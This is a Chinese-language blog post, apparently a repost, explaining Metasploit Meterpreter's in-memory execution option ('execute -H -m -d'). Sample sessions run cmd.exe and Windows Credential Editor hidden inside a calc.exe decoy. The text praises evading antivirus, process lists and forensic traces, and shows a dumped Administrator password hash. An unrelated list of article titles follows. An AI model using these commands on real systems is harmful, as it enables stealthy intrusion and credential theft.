Metasploit:一颗没有发现的珍珠
2014-12-27 09:21
246 查看
Metasploit:一颗没有发现的珍珠
本文介绍一下在Metasploit中被很少人了解的一项功能—Meterpreter执行命令过程中的—m参数。在说明文档中,仅仅介绍了这个参数能够在“内存中执行”,其实没有真正解释它的价值。下面是使用这个参数的一个演示:meterpreter > cd %systemroot% meterpreter > cd system32 meterpreter > pwd C:\Windows\SYSTEM32 meterpreter > download cmd.exe [*] downloading: cmd.exe -> cmd.exe [*] downloaded : cmd.exe -> cmd.exe meterpreter > execute -H -m -d calc.exe -i -f cmd.exe Process 572 created. Channel 5 created. The system cannot find message text for message number 0x2350 in the message file for Application. Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\SYSTEM32>
得到shell后,输入ps后,能够看到后台进程中有一个calc.exe进程,同时看不到有cmd.exe进 程,这事什么原因呢?首先,我们从目标机器上下载了在cmd.exe,如果你已经有一个cmd.exe文件的话,这一步是可以省去的。其次, 我们执行calc.exe作为傀儡程序执行,同时上传另一个恶意程序占用calc.exe的进行空间。在目标主机上,这个过程在calc.exe挂起后进
行,利用windows debugging API 去掉clac.exe的内核并替换成我们想执行的恶意程序。(真心邪恶)
利用内存执行技术(in-memory executable technique)有几个优势
程序名不会在进程列表中出现,所以像windows的程序管理器中显示的进程名,你可以通过—d选项选择你需要的名字,这一点非常重要,可以确保你能够避开敏感人士的检查。
执行文件永远不会再硬盘下留下痕迹。比便在硬盘上执行文件意味着增大了取证分析的难度。(没有新文件的产生或者时间修改的痕迹),尽管执行文件本 身会留下痕迹,但是需要追查这些痕迹很难。程序仅执行在内存中意味着杀毒软件少了一个捕获恶意程序的机会,杀毒软件一般不喜欢那些经常使用的软件,比如 WCE( Windows Credential Editor),所以在内存中运行程序少了不少麻烦,示例如下:
meterpreter > upload wce.exe [*] uploading : wce.exe -> wce.exe [*] uploaded : wce.exe -> wce.exe meterpreter > ls wce.exe [-] stdapi_fs_stat: Operation failed: The system cannot find the file specified.
杀毒软件检测到WCE.exe这个程序是恶意程序并立即删掉了,但是如果我们换一种方式,在内存中执行:
meterpreter > execute -H -m -d calc.exe -f wce.exe -a "-o foo.txt" Process 3216 created. meterpreter > cat foo.txt Administrator:PWNME:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C
还有一个优点值得提出的是,如果cmd.exe在目标机器中禁用或是不存在,那么可以通过上述方式直接上传一个cmd.exe进行使用。
相关文章推荐
- Metasploit:一颗没有发现的珍珠
- Metasploit:一颗没有发现的珍珠
- _ 当我哭泣我没有鞋子穿的时候,我 发现有人却没有了脚
- 对一个长度为100000条指令的程序进行集成测试期间记录如下面的数据: (A)7月1日集成测试开始没有发现错误 (B)8月2日总共改正了100个错误,此时MTTF=0.4H (C)9月1日:总共改正3
- eclipse导入了一个java项目,发现其中没有jre system library,该如何添加
- 搜索3天没有发现好的解决方案,一个非常棘手的问题
- springboot+shiro+mybatis整合发现部分功能事务没有被spring管理
- 【发现资源分享】12个网站后台设计页面,做前台没有灵感的童鞋可以参考下哈
- 写完文件之后最好调用fflush,否则有可能fclose之后,发现文件的最后有一部分没有写入完整。
- 刚买个炼狱蝰蛇1800dpi的下完驱动提示没有发现鼠标
- hadoop HA 集群启动发现现datanode没有启动,namenode clusterID与datanode clusterID不兼容,不匹配。
- androidstudio3.0使用的时候想导入包却发现没有libs目录
- 新买的mac笔记本,发现vi编辑器没有颜色的解决方案
- jps后发现namenode 没有启动
- 今天发现:用google,baidu,live搜寻@符号的时候居然一条结果也没有
- WIN7(64位)系统发现数据源ODBC里面没有配置access数据源连接&System, System32, Syswow64 概述
- 突然发现操作系统的很多事情都没有想明白
- PHPMyAdmin 出现 没有发现 PHP 的扩展设置mbstring 解决方法
- 发现国内不少邮箱,登录之后都没有使用https
- 使用sql server和sybase时记得''表示空字符串,但是在oracle中却发现没有空字符串一说,oracle把''当null来对待!